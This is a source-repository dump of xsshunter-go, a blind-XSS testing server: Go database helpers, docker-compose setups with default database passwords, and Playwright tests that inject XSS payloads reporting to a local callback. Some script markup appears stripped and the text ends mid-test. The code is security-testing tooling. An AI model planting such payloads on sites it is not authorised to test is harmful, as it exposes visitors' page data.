BenchmarkDBRawQuery(b *testing.B) { 49 | query := "SELECT 1 FROM payload_fire_results WHERE id = ?" 50 | args := []interface{}{1} 51 | 52 | for i := 0; i < b.N; i++ { 53 | db := establish_database_connection() 54 | defer db.Close() 55 | 56 | var result bool 57 | err := db.QueryRow(query, args...).Scan(&result) 58 | if err != nil { 59 | panic(err) 60 | } 61 | 62 | _ = result 63 | } 64 | } 65 | 66 | func BenchmarkDbSingleItemQuery(b *testing.B) { 67 | query := "SELECT 1 FROM payload_fire_results WHERE id = ?" 68 | args := []interface{}{1} 69 | 70 | for i := 0; i < b.N; i++ { 71 | _, _ = db_single_item_query(query, args...).toBool() 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /dbhelper.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "log" 7 | "os" 8 | "strings" 9 | 10 | _ "github.com/lib/pq" 11 | _ "github.com/mattn/go-sqlite3" 12 | ) 13 | 14 | type SingleResult struct { 15 | value interface{} 16 | err error 17 | } 18 | 19 | type Result struct { 20 | value interface{} 21 | } 22 | 23 | type ResultsObjectArray []ResultsObject 24 | 25 | type ResultsObject map[string]Result 26 | 27 | //lint:ignore U1000 Ignore unused function temporarily for debugging 28 | func db_select(query string, args ...any) (ResultsObjectArray, error) { 29 | 30 | rows, err := db.Query(query, args...) 31 | if err != nil { 32 | return nil, err 33 | } 34 | defer rows.Close() 35 | 36 | columns, err := rows.Columns() 37 | if err != nil { 38 | return nil, err 39 | } 40 | 41 | columnLength := len(columns) 42 | 43 | values := make([]interface{}, columnLength) 44 | valuePtrs := make([]interface{}, columnLength) 45 | for i := range columns { 46 | valuePtrs[i] = &values[i] 47 | } 48 | 49 | resultsArray := make(ResultsObjectArray, 0) 50 | 51 | for rows.Next() { 52 | scanValues := make([]interface{}, columnLength) 53 | copy(scanValues, valuePtrs) 54 | 55 | err := rows.Scan(scanValues...) 56 | if err != nil { 57 | return nil, err 58 | } 59 | 60 | resultsObject := make(ResultsObject) 61 | for i, column := range columns { 62 | resultsObject[column] = Result{value: values[i]} 63 | } 64 | 65 | resultsArray = append(resultsArray, resultsObject) 66 | } 67 | 68 | err = rows.Err() 69 | if err != nil { 70 | return nil, err 71 | } 72 | 73 | return resultsArray, nil 74 | } 75 | 76 | func (r SingleResult) toString() (string, error) { 77 | if r.err != nil { 78 | return "", r.err 79 | } 80 | return toString(r.value) 81 | } 82 | 83 | func (r SingleResult) toInt() (int, error) { 84 | if r.err != nil { 85 | return 0, r.err 86 | } 87 | return toInt(r.value) 88 | } 89 | 90 | func (r SingleResult) toBool() (bool, error) { 91 | if r.err != nil { 92 | return false, r.err 93 | } 94 | return toBool(r.value) 95 | } 96 | 97 | //lint:ignore U1000 Ignore unused function temporarily for debugging 98 | func (r Result) toString() (string, error) { 99 | return toString(r.value) 100 | } 101 | 102 | //lint:ignore U1000 Ignore unused function temporarily for debugging 103 | func (r Result) toInt() (int, error) { 104 | return toInt(r.value) 105 | } 106 | 107 | //lint:ignore U1000 Ignore unused function temporarily for debugging 108 | func (r Result) toBool() (bool, error) { 109 | return toBool(r.value) 110 | } 111 | 112 | func toString(value interface{}) (string, error) { 113 | if value == nil { 114 | return "", nil 115 | } 116 | if str, ok := value.(string); ok { 117 | return str, nil 118 | } 119 | return "", fmt.Errorf("failed to convert result to string") 120 | } 121 | 122 | func toInt(value interface{}) (int, error) { 123 | if value == nil { 124 | return 0, nil 125 | } 126 | if num, ok := value.(int64); ok { 127 | return int(num), nil 128 | } 129 | return 0, fmt.Errorf("failed to convert result to int") 130 | } 131 | 132 | func toBool(value interface{}) (bool, error) { 133 | switch v := value.(type) { 134 | case bool: 135 | return v, nil 136 | case string: 137 | lower := strings.ToLower(v) 138 | if lower == "true" || lower == "1" { 139 | return true, nil 140 | } else if lower == "false" || lower == "0" || lower == "" { 141 | return false, nil 142 | } 143 | case int: 144 | return v == 1, nil 145 | case int64: 146 | return v == 1, nil 147 | case nil: 148 | return false, nil 149 | } 150 | return false, fmt.Errorf("failed to convert result to bool") 151 | } 152 | 153 | func db_single_item_query(query string, args ...any) SingleResult { 154 | 155 | var result interface{} 156 | err := db.QueryRow(query, args...).Scan(&result) 157 | if err != nil { 158 | if err == sql.ErrNoRows { 159 | return SingleResult{value: nil, err: nil} 160 | } 161 | return SingleResult{value: nil, err: err} 162 | } 163 | 164 | return SingleResult{value: result, err: nil} 165 | } 166 | 167 | func db_prepare_execute(query string, args ...any) (sql.Result, error) { 168 | 169 | stmt, _ := db.Prepare(query) 170 | result, err := stmt.Exec(args...) 171 | if err != nil { 172 | log.Printf("%q: %s\n", err, query) 173 | } 174 | 175 | return result, err 176 | } 177 | 178 | func db_execute(query string, args ...any) (sql.Result, error) { 179 | 180 | result, err := db.Exec(query, args...) 181 | if err != nil { 182 | log.Printf("%q: %s\n", err, query) 183 | } 184 | 185 | return result, err 186 | } 187 | 188 | func initialize_database() { 189 | db = establish_database_connection() 190 | if is_postgres { 191 | initialize_postgres_database() 192 | } else { 193 | initialize_sqlite_database() 194 | } 195 | 196 | do_migrations() 197 | initialize_settings() 198 | } 199 | 200 | func establish_database_connection() *sql.DB { 201 | if is_postgres { 202 | return establish_postgres_database_connection() 203 | } 204 | return establish_sqlite_database_connection() 205 | } 206 | 207 | func initialize_sqlite_database() { 208 | if _, err := os.Stat("db"); os.IsNotExist(err) { 209 | err = os.MkdirAll("db", 0750) 210 | if err != nil { 211 | log.Fatal("Fatal Error on Initialize sqlite db:", err) 212 | } 213 | } 214 | create_sqlite_tables() 215 | } 216 | 217 | func initialize_postgres_database() { 218 | create_postgres_tables() 219 | } 220 | 221 | func establish_sqlite_database_connection() *sql.DB { 222 | dbPath := get_sqlite_database_path() 223 | db, err := sql.Open("sqlite3", dbPath) 224 | if err != nil { 225 | log.Fatal("Fatal Error on connect to sqlite:", err) 226 | } 227 | return db 228 | } 229 | 230 | func establish_postgres_database_connection() *sql.DB { 231 | db, err := sql.Open("postgres", get_env("DATABASE_URL")) 232 | if err != nil { 233 | log.Fatal("Fatal Error on connect to postgres:", err) 234 | } 235 | return db 236 | } 237 | -------------------------------------------------------------------------------- /docker-compose.extras.yml: -------------------------------------------------------------------------------- 1 | services: 2 | xsshunter-go: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | target: dev 7 | volumes: 8 | # - ./db/:/app/db/ 9 | # - ./screenshots/:/app/screenshots/ 10 | # - ./src:/app/src # For development 11 | - ./:/app 12 | ports: 13 | - "1449:1449" 14 | environment: 15 | - DATABASE_URL=postgres://xsshunter:xsshunter@postgres:5432/xsshunter?sslmode=disable 16 | env_file: 17 | - .env 18 | networks: 19 | - xsshunter-go 20 | depends_on: 21 | - postgres 22 | - redis 23 | postgres: 24 | image: postgres:17.2-alpine3.19 25 | environment: 26 | POSTGRES_USER: xsshunter 27 | POSTGRES_PASSWORD: xsshunter 28 | POSTGRES_DB: xsshunter 29 | volumes: 30 | - ./postgres_db/:/var/lib/postgresql/data/ 31 | ports: 32 | - "5432:5432" 33 | networks: 34 | - xsshunter-go 35 | redis: 36 | image: redis:7.2.5-alpine3.19 37 | volumes: 38 | - ./redis:/data 39 | ports: 40 | - "6379:6379" 41 | networks: 42 | - xsshunter-go 43 | 44 | networks: 45 | xsshunter-go: 46 | driver: bridge -------------------------------------------------------------------------------- /docker-compose.prod.yml: -------------------------------------------------------------------------------- 1 | services: 2 | xsshunter-go: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | target: prod 7 | volumes: 8 | - ./db/:/app/db/ 9 | - ./screenshots/:/app/screenshots/ 10 | ports: 11 | - "1449:1449" 12 | env_file: 13 | - .env 14 | networks: 15 | - xsshunter-go 16 | xsshunter-postgres: 17 | image: postgres:17.2-alpine3.19 18 | environment: 19 | POSTGRES_USER: xsshunter 20 | POSTGRES_PASSWORD: xsshunter 21 | POSTGRES_DB: xsshunter 22 | volumes: 23 | - ./postgres_db/:/var/lib/postgresql/data/ 24 | ports: 25 | - "5432:5432" 26 | networks: 27 | - xsshunter-go 28 | 29 | networks: 30 | xsshunter-go: 31 | driver: bridge -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | xsshunter-go: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | target: dev 7 | volumes: 8 | # - ./db/:/app/db/ 9 | # - ./screenshots/:/app/screenshots/ 10 | # - ./src:/app/src # For development 11 | - ./:/app 12 | ports: 13 | - "1449:1449" 14 | env_file: 15 | - .env -------------------------------------------------------------------------------- /docker-examples/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | xsshunter-go: 4 | image: adamjsturge/xsshunter-go:latest 5 | volumes: 6 | - ./db/:/app/db/ 7 | - ./screenshots/:/app/screenshots/ 8 | environment: 9 | - CONTROL_PANEL_ENABLED=true 10 | - NOTIFY=discord://...,slack://... 11 | # - DOMAIN=https://xsshunter.example.com 12 | labels: 13 | - "traefik.enable=true" 14 | - "traefik.http.routers.xsshunter-go.entrypoints=web, websecure" 15 | - "traefik.http.routers.xsshunter-go.rule=Host(`xsshunter.example.com`)" 16 | - "traefik.http.routers.xsshunter-go.tls.certresolver=myresolver" 17 | - "traefik.http.routers.xsshunter-go.tls.domains[0].main=xsshunter.example.com" 18 | - "traefik.http.services.xsshunter-go.loadbalancer.server.port=1449" 19 | traefik: 20 | image: "traefik:v3.4" 21 | container_name: "traefik" 22 | command: 23 | - "--providers.docker=true" 24 | - "--providers.docker.exposedbydefault=false" 25 | - "--entrypoints.web.address=:80" 26 | - "--entrypoints.websecure.address=:443" 27 | - "--certificatesresolvers.myresolver.acme.httpchallenge=true" 28 | - "--certificatesresolvers.myresolver.acme.httpchallenge.entrypoint=web" 29 | - "--certificatesresolvers.myresolver.acme.email=xsshunter@example.com" 30 | - "--certificatesresolvers.myresolver.acme.storage=/shared/acme.json" 31 | ports: 32 | - "80:80" 33 | - "443:443" 34 | volumes: 35 | - "/var/run/docker.sock:/var/run/docker.sock:ro" 36 | - "./shared:/shared" -------------------------------------------------------------------------------- /docker-examples/example-postgres-cache/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.9' 2 | services: 3 | xsshunter-go: 4 | image: adamjsturge/xsshunter-go:latest 5 | volumes: 6 | - ./db/:/app/db/ 7 | - ./screenshots/:/app/screenshots/ 8 | environment: 9 | - CONTROL_PANEL_ENABLED=true 10 | - NOTIFY=discord://...,slack://... 11 | - REDIS_URL=redis://redis:6379 12 | - DATABASE_URL=postgres://xsshunter:xsshunter@postgres:5432/xsshunter 13 | labels: 14 | - "traefik.enable=true" 15 | - "traefik.http.routers.xsshunter-go.entrypoints=web, websecure" 16 | - "traefik.http.routers.xsshunter-go.rule=Host(`xsshunter.example.com`)" 17 | - "traefik.http.routers.xsshunter-go.tls.certresolver=myresolver" 18 | - "traefik.http.routers.xsshunter-go.tls.domains[0].main=xsshunter.example.com" 19 | - "traefik.http.services.xsshunter-go.loadbalancer.server.port=1449" 20 | traefik: 21 | image: "traefik:v3.4" 22 | container_name: "traefik" 23 | command: 24 | - "--providers.docker=true" 25 | - "--providers.docker.exposedbydefault=false" 26 | - "--entrypoints.web.address=:80" 27 | - "--entrypoints.websecure.address=:443" 28 | - "--certificatesresolvers.myresolver.acme.httpchallenge=true" 29 | - "--certificatesresolvers.myresolver.acme.httpchallenge.entrypoint=web" 30 | - "--certificatesresolvers.myresolver.acme.email=xsshunter@example.com" 31 | - "--certificatesresolvers.myresolver.acme.storage=/shared/acme.json" 32 | ports: 33 | - "80:80" 34 | - "443:443" 35 | volumes: 36 | - "/var/run/docker.sock:/var/run/docker.sock:ro" 37 | - "./shared:/shared" 38 | postgres: 39 | image: postgres:17.2-alpine3.19 40 | environment: 41 | POSTGRES_USER: xsshunter 42 | POSTGRES_PASSWORD: xsshunter 43 | POSTGRES_DB: xsshunter 44 | volumes: 45 | - ./db/:/var/lib/postgresql/data/ 46 | ports: 47 | - "5432:5432" 48 | redis: 49 | image: redis:7.2.5-alpine3.19 50 | volumes: 51 | - ./redis:/data 52 | ports: 53 | - "6379:6379" -------------------------------------------------------------------------------- /e2e/.env.copy: -------------------------------------------------------------------------------- 1 | TEMP_E2E_PLAYWRIGHT_PASSWORD= -------------------------------------------------------------------------------- /e2e/README.md: -------------------------------------------------------------------------------- 1 | To Run 2 | 3 | ```bash 4 | npm ci 5 | npx playwright install --with-deps 6 | npx playwright test 7 | ``` -------------------------------------------------------------------------------- /e2e/helper.ts: -------------------------------------------------------------------------------- 1 | import { expect } from '@playwright/test'; 2 | const path = require('path'); 3 | 4 | require('dotenv').config({ path: path.resolve(__dirname, '.env') }); 5 | 6 | const password = process.env.TEMP_E2E_PLAYWRIGHT_PASSWORD ?? ''; 7 | 8 | export async function login(page) { 9 | await page.goto('http://localhost:1449/admin'); 10 | await page.getByLabel('Password:').fill(password); 11 | await page.getByRole('button', { name: 'Login' }).click(); 12 | } 13 | 14 | export async function navigateToSettings(page) { 15 | await page.getByRole('button', { name: 'Settings' }).click(); 16 | await expect(page.getByRole('heading', { level: 1})).toContainText('Settings'); 17 | await expect(page.getByRole('rowgroup')).toContainText('PAGES_TO_COLLECT'); 18 | } 19 | 20 | export async function navigateToPayloads(page) { 21 | await page.getByRole('button', { name: 'Payloads' }).click(); 22 | await expect(page.locator('#payloadsTable')).toContainText('Basic Payload'); 23 | await expect(page.locator('#payloads')).toContainText('Payloads'); 24 | } 25 | 26 | export async function navigateToPayloadMaker(page) { 27 | await page.getByRole('button', { name: 'Payload Maker' }).click(); 28 | await expect(page.locator('#payload_maker')).toContainText('Payload Maker'); 29 | } 30 | 31 | export async function navigateToPayloadImporterExporter(page) { 32 | await page.getByRole('button', { name: 'Payload Importer/Exporter' }).click(); 33 | await expect(page.getByRole('heading')).toContainText('Payload Importer/Exporter'); 34 | } 35 | 36 | export async function navigateToCollectedPages(page) { 37 | await page.getByRole('button', { name: 'Collected Pages' }).click(); 38 | await expect(page.locator('#collected_pages')).toBeVisible(); 39 | await expect(page.getByRole('heading', { level: 1 })).toContainText('Collected Pages'); 40 | } 41 | 42 | export async function navigateToPayloadFires(page) { 43 | await page.getByRole('button', { name: 'Payload Fires' }).click(); 44 | await expect(page.locator('#payload_fires')).toBeVisible(); 45 | await expect(page.getByRole('heading', { level: 1 })).toContainText('Admin Page'); 46 | } 47 | 48 | export async function clearCookies(context) { 49 | await context.clearCookies({ domain: 'localhost' }); 50 | } 51 | 52 | export async function triggerXSS(page, context, randomInjectionKey = "", longPregeneratedHTML = "") { 53 | await page.goto('about:blank'); 54 | 55 | // page.on('request', request => console.log('>>', request.method(), request.url())); 56 | // page.on('response', response => console.log('<<', response.status(), response.url())); 57 | 58 | const customHTML = ` 59 | 60 | 61 |

Test XSS Payload

62 | 63 | ${longPregeneratedHTML} 64 | 65 | 66 | `; 67 | 68 | const responsePromise = page.waitForResponse('**/js_callback'); 69 | 70 | await page.setContent(customHTML); 71 | 72 | await responsePromise; 73 | 74 | await expect(page.getByText('Test XSS Payload')).toBeVisible(); 75 | } 76 | 77 | export async function triggerXSSWithCustomHTML(page, context, customHTML, randomInjectionKey = "") { 78 | await page.goto('about:blank'); 79 | 80 | // Add the script tag to the custom HTML if it doesn't already contain it 81 | if (!customHTML.includes(``); 83 | } 84 | 85 | const responsePromise = page.waitForResponse('**/js_callback'); 86 | await page.setContent(customHTML); 87 | await responsePromise; 88 | } 89 | 90 | export function generateHTML(length, lineBreakLength) { 91 | let charOptions = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 92 | let longPregeneratedHTML = ""; 93 | 94 | for (let i = 0; i < length; i++) { 95 | longPregeneratedHTML += charOptions.charAt(Math.floor(Math.random() * charOptions.length)); 96 | if (i % lineBreakLength == 0) { 97 | longPregeneratedHTML += "\n
\n"; 98 | } 99 | } 100 | 101 | return longPregeneratedHTML; 102 | } -------------------------------------------------------------------------------- /e2e/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "xsshunter-go", 3 | "version": "1.0.0", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "xsshunter-go", 9 | "version": "1.0.0", 10 | "license": "ISC", 11 | "devDependencies": { 12 | "@playwright/test": "1.52.0", 13 | "@types/node": "22.15.24", 14 | "dotenv": "16.5.0" 15 | } 16 | }, 17 | "node_modules/@playwright/test": { 18 | "version": "1.52.0", 19 | "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.52.0.tgz", 20 | "integrity": "sha512-uh6W7sb55hl7D6vsAeA+V2p5JnlAqzhqFyF0VcJkKZXkgnFcVG9PziERRHQfPLfNGx1C292a4JqbWzhR8L4R1g==", 21 | "dev": true, 22 | "license": "Apache-2.0", 23 | "dependencies": { 24 | "playwright": "1.52.0" 25 | }, 26 | "bin": { 27 | "playwright": "cli.js" 28 | }, 29 | "engines": { 30 | "node": ">=18" 31 | } 32 | }, 33 | "node_modules/@types/node": { 34 | "version": "22.15.24", 35 | "resolved": "https://registry.npmjs.org/@types/node/-/node-22.15.24.tgz", 36 | "integrity": "sha512-w9CZGm9RDjzTh/D+hFwlBJ3ziUaVw7oufKA3vOFSOZlzmW9AkZnfjPb+DLnrV6qtgL/LNmP0/2zBNCFHL3F0ng==", 37 | "dev": true, 38 | "license": "MIT", 39 | "dependencies": { 40 | "undici-types": "~6.21.0" 41 | } 42 | }, 43 | "node_modules/dotenv": { 44 | "version": "16.5.0", 45 | "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz", 46 | "integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==", 47 | "dev": true, 48 | "license": "BSD-2-Clause", 49 | "engines": { 50 | "node": ">=12" 51 | }, 52 | "funding": { 53 | "url": "https://dotenvx.com" 54 | } 55 | }, 56 | "node_modules/fsevents": { 57 | "version": "2.3.2", 58 | "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", 59 | "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", 60 | "dev": true, 61 | "hasInstallScript": true, 62 | "optional": true, 63 | "os": [ 64 | "darwin" 65 | ], 66 | "engines": { 67 | "node": "^8.16.0 || ^10.6.0 || >=11.0.0" 68 | } 69 | }, 70 | "node_modules/playwright": { 71 | "version": "1.52.0", 72 | "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.52.0.tgz", 73 | "integrity": "sha512-JAwMNMBlxJ2oD1kce4KPtMkDeKGHQstdpFPcPH3maElAXon/QZeTvtsfXmTMRyO9TslfoYOXkSsvao2nE1ilTw==", 74 | "dev": true, 75 | "license": "Apache-2.0", 76 | "dependencies": { 77 | "playwright-core": "1.52.0" 78 | }, 79 | "bin": { 80 | "playwright": "cli.js" 81 | }, 82 | "engines": { 83 | "node": ">=18" 84 | }, 85 | "optionalDependencies": { 86 | "fsevents": "2.3.2" 87 | } 88 | }, 89 | "node_modules/playwright-core": { 90 | "version": "1.52.0", 91 | "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.52.0.tgz", 92 | "integrity": "sha512-l2osTgLXSMeuLZOML9qYODUQoPPnUsKsb5/P6LJ2e6uPKXUdPK5WYhN4z03G+YNbWmGDY4YENauNu4ZKczreHg==", 93 | "dev": true, 94 | "license": "Apache-2.0", 95 | "bin": { 96 | "playwright-core": "cli.js" 97 | }, 98 | "engines": { 99 | "node": ">=18" 100 | } 101 | }, 102 | "node_modules/undici-types": { 103 | "version": "6.21.0", 104 | "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", 105 | "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", 106 | "dev": true, 107 | "license": "MIT" 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /e2e/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "xsshunter-go", 3 | "version": "1.0.0", 4 | "description": "Playwright test for xsshunter-go", 5 | "main": "", 6 | "scripts": {}, 7 | "keywords": [], 8 | "author": "", 9 | "license": "ISC", 10 | "devDependencies": { 11 | "@playwright/test": "1.52.0", 12 | "@types/node": "22.15.24", 13 | "dotenv": "16.5.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /e2e/playwright.config.js: -------------------------------------------------------------------------------- 1 | // @ts-check 2 | const { defineConfig, devices } = require('@playwright/test'); 3 | 4 | /** 5 | * Read environment variables from file. 6 | * https://github.com/motdotla/dotenv 7 | */ 8 | // require('dotenv').config(); 9 | 10 | /** 11 | * @see https://playwright.dev/docs/test-configuration 12 | */ 13 | module.exports = defineConfig({ 14 | testDir: './tests', 15 | /* Run tests in files in parallel */ 16 | fullyParallel: false, //true, 17 | /* Fail the build on CI if you accidentally left test.only in the source code. */ 18 | forbidOnly: !!process.env.CI, 19 | /* Retry on CI only */ 20 | retries: process.env.CI ? 2 : 0, 21 | /* Opt out of parallel tests on CI. */ 22 | workers: process.env.CI ? 1 : undefined, 23 | /* Reporter to use. See https://playwright.dev/docs/test-reporters */ 24 | reporter: 'html', 25 | /* Shared settings for all the projects below. See https://playwright.dev/docs/api/class-testoptions. */ 26 | use: { 27 | /* Base URL to use in actions like `await page.goto('/')`. */ 28 | // baseURL: 'http://127.0.0.1:3000', 29 | 30 | /* Collect trace when retrying the failed test. See https://playwright.dev/docs/trace-viewer */ 31 | trace: 'on-first-retry', 32 | }, 33 | 34 | timeout: 50000, 35 | 36 | /* Configure projects for major browsers */ 37 | projects: [ 38 | { 39 | name: 'firefox', 40 | use: { ...devices['Desktop Firefox'] }, 41 | }, 42 | 43 | // { 44 | // name: 'Google Chrome', 45 | // use: { ...devices['Desktop Chrome'], channel: 'chrome' }, 46 | // }, 47 | 48 | // { 49 | // name: 'chromium', 50 | // use: { ...devices['Desktop Chrome'] }, 51 | // }, 52 | ], 53 | 54 | /* Run your local dev server before starting the tests */ 55 | // webServer: { 56 | // command: 'npm run start', 57 | // url: 'http://127.0.0.1:3000', 58 | // reuseExistingServer: !process.env.CI, 59 | // }, 60 | }); 61 | 62 | -------------------------------------------------------------------------------- /e2e/tests/xsshunter.spec.ts: -------------------------------------------------------------------------------- 1 | import { test, expect } from '@playwright/test'; 2 | import { clearCookies, login, navigateToPayloadImporterExporter, navigateToPayloadMaker, navigateToPayloads, navigateToSettings, triggerXSS, triggerXSSWithCustomHTML, generateHTML } from '../helper'; 3 | 4 | const crypto = require('crypto'); 5 | 6 | test('Logging in Successfully', async ({ page, context }) => { 7 | await page.goto('http://localhost:1449/'); 8 | await clearCookies(context); 9 | 10 | await login(page); 11 | await navigateToSettings(page); 12 | await navigateToPayloads(page); 13 | await navigateToPayloadMaker(page); 14 | await navigateToPayloadImporterExporter(page); 15 | }); 16 | 17 | test('Correlation Trigger XSS', async ({ page, context }) => { 18 | await page.goto('http://localhost:1449/'); 19 | await clearCookies(context); 20 | 21 | await login(page); 22 | await navigateToSettings(page); 23 | 24 | const randomInjectionKey = crypto.randomBytes(20).toString('hex'); 25 | const randomRequest = crypto.randomBytes(20).toString('hex'); 26 | 27 | await expect(page.locator('#CORRELATION_API_KEY')).toBeVisible(); 28 | 29 | const CORRELATION_API_KEY = await page.locator('#CORRELATION_API_KEY').inputValue(); 30 | 31 | const form_data = new FormData(); 32 | form_data.append('owner_correlation_key', CORRELATION_API_KEY); 33 | form_data.append('injection_key', randomInjectionKey); 34 | form_data.append('request', randomRequest); 35 | 36 | const resp = await fetch(`http://localhost:1449/api/v1/record_injection`, 37 | { 38 | method: 'POST', 39 | body: form_data, 40 | }, 41 | ); 42 | 43 | await expect(resp.status).toBe(200); 44 | 45 | const injection_requests_id = await resp.text().then((text) => text.replace(/\r?\n|\r/g, '')); 46 | 47 | await triggerXSS(page, context, randomInjectionKey); 48 | await page.goto('http://localhost:1449/admin'); 49 | 50 | // Added First because payload for some reason doubles in the pipeline and not sure why 51 | await page.locator(`button[id="injection-request-id-${injection_requests_id}"]`).first().click(); 52 | }); 53 | 54 | test('Basic Trigger XSS', async ({ page, context }) => { 55 | await page.goto('http://localhost:1449/'); 56 | await clearCookies(context); 57 | 58 | const randomInjectionKey = crypto.randomBytes(20).toString('hex'); 59 | await triggerXSS(page, context, randomInjectionKey); 60 | 61 | await page.goto('http://localhost:1449/admin'); 62 | await clearCookies(context); 63 | await login(page); 64 | 65 | await page.locator('.action_button').filter({ hasText: 'Expand' }).first().click(); 66 | 67 | await expect(page.locator('.modal_div')).toContainText(randomInjectionKey); 68 | }); 69 | 70 | test('Update Settings', async ({ page, context }) => { 71 | await page.goto('http://localhost:1449/admin'); 72 | await clearCookies(context); 73 | 74 | await login(page); 75 | await navigateToSettings(page); 76 | 77 | const randomString = crypto.randomBytes(20).toString('hex'); 78 | 79 | // await page.locator('#CORRELATION_API_KEY').fill(randomString); 80 | await page.fill('#CORRELATION_API_KEY', randomString); 81 | await page.getByRole('button', { name: 'Save' }).click(); 82 | await page.goto('http://localhost:1449/admin'); 83 | await navigateToSettings(page); 84 | 85 | await expect(page.locator('#CORRELATION_API_KEY')).toHaveValue(randomString); 86 | }); 87 | 88 | test('Create Payload', async ({ page, context }) => { 89 | await page.goto('http://localhost:1449/admin'); 90 | await clearCookies(context); 91 | 92 | await login(page); 93 | await navigateToPayloadMaker(page); 94 | 95 | const randomPayload = crypto.randomBytes(20).toString('hex'); 96 | const randomTitle = crypto.randomBytes(20).toString('hex'); 97 | const randomDesc = crypto.randomBytes(20).toString('hex'); 98 | const randomAuthor = crypto.randomBytes(20).toString('hex'); 99 | 100 | await page.locator('#payload_input').fill(randomPayload + ` /script_hostname/`); 101 | await page.getByRole('textbox').nth(1).fill(randomTitle); 102 | await page.getByRole('textbox').nth(2).fill(randomDesc); 103 | await page.getByRole('textbox').nth(3).fill(randomAuthor); 104 | await page.getByRole('button', { name: 'Create Payload' }).click(); 105 | await expect(page.locator('#payload_maker')).toContainText('Payload Added'); 106 | await page.getByRole('button', { name: 'Payloads' }).click(); 107 | await expect(page.getByText(randomPayload + ` localhost:1449`)).toBeVisible(); 108 | await expect(page.getByText(randomTitle)).toBeVisible(); 109 | }); 110 | 111 | test('Basic Trigger XSS with a lot of HTML', async ({ page, context }) => { 112 | await page.goto('http://localhost:1449/'); 113 | await clearCookies(context); 114 | 115 | const randomInjectionKey = crypto.randomBytes(20).toString('hex'); 116 | let skeletonHTML = "
"; 117 | 118 | let longPregeneratedHTML = generateHTML(200000, 250); 119 | 120 | skeletonHTML += longPregeneratedHTML + "
"; 121 | 122 | await triggerXSS(page, context, randomInjectionKey, skeletonHTML); 123 | 124 | await page.waitForSelector('#addtional-text'); 125 | let substringToCheck = longPregeneratedHTML.slice(-100); 126 | await expect(page.locator('#addtional-text')).toContainText(substringToCheck); 127 | 128 | await page.goto('http://localhost:1449/admin'); 129 | await clearCookies(context); 130 | await login(page); 131 | 132 | await page.locator('.action_button').filter({ hasText: 'Expand' }).first().click(); 133 | 134 | await expect(page.locator('.modal_div')).toContainText(randomInjectionKey); 135 | }); 136 | 137 | test('Basic Trigger XSS with hidden HTML', async ({ page, context }) => { 138 | await page.goto('http://localhost:1449/'); 139 | await clearCookies(context); 140 | 141 | const randomInjectionKey = crypto.randomBytes(20).toString('hex'); 142 | let longPregeneratedHTML = ``; 143 | 144 | await triggerXSS(page, context, randomInjectionKey, longPregeneratedHTML); 145 | 146 | await page.goto('http://localhost:1449/admin'); 147 | await clearCookies(context); 148 | await login(page); 149 | 150 | await page.locator('.action_button').filter({ hasText: 'Expand' }).first().click(); 151 | 152 | await expect(page.locator('.modal_div')).toContainText(randomInjectionKey); 153 | }); 154 | 155 | test('Trigger XSS in HTML without body tag', async ({ page, context }) => { 156 | await page.goto('http://localhost:1449/'); 157 | await clearCookies(context); 158 | 159 | const randomInjectionKey = crypto.randomBytes(20).toString('hex'); 160 | const htmlWithoutBody = ` 161 | 162 | 163 | 164 | No Body Test 165 | 166 | 167 | 168 | `; 169 | 170 | await triggerXSSWithCustomHTML(page, context, htmlWithoutBody, randomInjectionKey); 171 | 172 | await page.goto('http://localhost:1449/admin'); 173 | await clearCookies(context); 174 | await login(page); 175 | 176 | await page.locator('.action_button').filter({ hasText: 'Expand' }).first().click(); 177 | 178 | await expect(page.locator('.modal_div')).toContainText(randomInjectionKey); 179 | }); 180 | 181 | test('Failed Login Attempt', async ({ page, context }) => { 182 | await page.goto('http://localhost:1449/admin'); 183 | await clearCookies(context); 184 | 185 | await page.getByLabel('Password:').fill('wrong_password'); 186 | await page.getByRole('button', { name: 'Login' }).click(); 187 | 188 | await expect(page.locator('#error')).toBeVisible(); 189 | await expect(page.locator('#error')).toContainText('Invalid password'); 190 | 191 | await expect(page.getByLabel('Password:')).toBeVisible(); 192 | }); 193 | 194 | 195 | test('XSS with Special Characters', async ({ page, context }) => { 196 | await page.goto('http://localhost:1449/'); 197 | await clearCookies(context); 198 | 199 | const randomKey = crypto.randomBytes(10).toString('hex'); 200 | const specialCharsHTML = ` 201 | 202 | 203 | 204 | Special Characters Test 205 | 206 | 207 |

Special Characters: <>&"'

208 |
209 |

HTML entities: © ® € ♥

210 |

Emojis: 😀 🚀 💻 🔥

211 |
